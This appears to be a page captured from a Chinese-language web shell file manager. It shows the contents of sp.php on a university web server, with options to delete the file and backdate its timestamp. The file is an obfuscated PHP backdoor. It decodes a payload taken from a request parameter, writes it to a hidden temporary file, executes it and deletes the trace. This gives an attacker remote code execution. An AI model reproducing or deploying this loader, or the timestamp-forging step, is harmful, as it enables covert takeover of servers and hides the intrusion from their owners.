文件操作 - sp.php
返回文件管理
返回主菜单
删除本文件
文件: /var/www/demoestudiantes.uaysen.cl/html/sp.php
编辑文件内容
<?php if(isset($_REQUEST["sy\x6D"]) ? true : false){ $record = $_REQUEST["sy\x6D"]; $record= explode ('.', $record ) ; $flag =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); $o =0; $__tmp =$record; while( $v4 =array_shift( $__tmp)) { $sChar =ord( $s[$o % $lenS]); $d =( ( int)$v4 - $sChar -( $o % 10)) ^ 95; $flag .= chr( $d); $o++;} $bind = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/tmp"]); $symbol = 0; do { $desc = $bind[$symbol] ?? null; if ($symbol >= count($bind)) break; if (array_product([is_dir($desc), is_writable($desc)])) { $ent = vsprintf("%s/%s", [$desc, ".descriptor"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $ent; @unlink($ent); exit; } } $symbol++; } while (true); }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件